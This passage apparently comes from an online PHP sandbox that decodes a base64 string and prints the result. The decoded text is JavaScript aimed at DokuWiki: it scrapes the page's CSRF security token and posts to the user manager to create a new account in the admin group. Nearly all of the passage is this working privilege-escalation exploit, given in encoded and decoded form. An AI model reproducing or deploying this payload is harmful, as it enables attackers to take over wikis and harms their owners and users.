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ZXF1ZXN0KCk7DQp9IGVsc2Ugew0KSHR0cFJlcSA9IG5ldyBBY3RpdmV4T2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpOw0KfQ0KSHR0cFJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7DQppZiAoSHR0cFJlcS5yZWFkeVN0YXRlID09IDQgJiYgSHR0cFJlcS5zdGF0dXMgPT0gMjAwKSB7DQoNCn0NCn0NCkh0dHBSZXEub3BlbignUE9TVCcsICJkb2t1LnBocD9pZD1kb2Fka3dva2FkIiwgdHJ1ZSk7DQpIdHRwUmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsNCkh0dHBSZXEuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1sZW5ndGgiLCBwYXJhbWV0ZXJzLmxlbmd0aCk7DQpIdHRwUmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbm5lY3Rpb24iLCAiY2xvc2UiKTsNCkh0dHBSZXEuc2VuZChwYXJhbWV0ZXJzKTsNCn0NCk15UmVxdWVzdCgpOw0K"));
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
string(1230) "function MyRequest() { if (window.XMLHttpRequest) { ReqReader = new XMLHttpRequest(); } else { ReqReader = new ActivexObject("Microsoft.XMLHTTP"); } ReqReader.onreadystatechange = function () { TokenFinder(ReqReader); } ReqReader.open("GET", "doku.php", true); ReqReader.send(); } function TokenFinder(a) { if (a.readyState == 4 && a.status == 200) { var src = a.responseText; p = /value="([0-9a-f]+)"/; var token = src.match(p); params = "sectok=" + token[1] + "&userid=USERNAME&userpass=PASSWORD&username=USERNAME&usermail=att@wwwwwwww.osfa&usergroups=admin,user&do=admin&page=usermanager&start=0&fn[add]=Add"; alert(params); Exploit(params); } } function Exploit(parameters) { if (window.XMLHttpRequest) { HttpReq = new XMLHttpRequest(); } else { HttpReq = new ActivexObject("Microsoft.XMLHTTP"); } HttpReq.onreadystatechange = function () { if (HttpReq.readyState == 4 && HttpReq.status == 200) { } } HttpReq.open('POST', "doku.php?id=doadkwokad", true); HttpReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); HttpReq.setRequestHeader("Content-length", parameters.length); HttpReq.setRequestHeader("Connection", "close"); HttpReq.send(parameters); } MyRequest(); "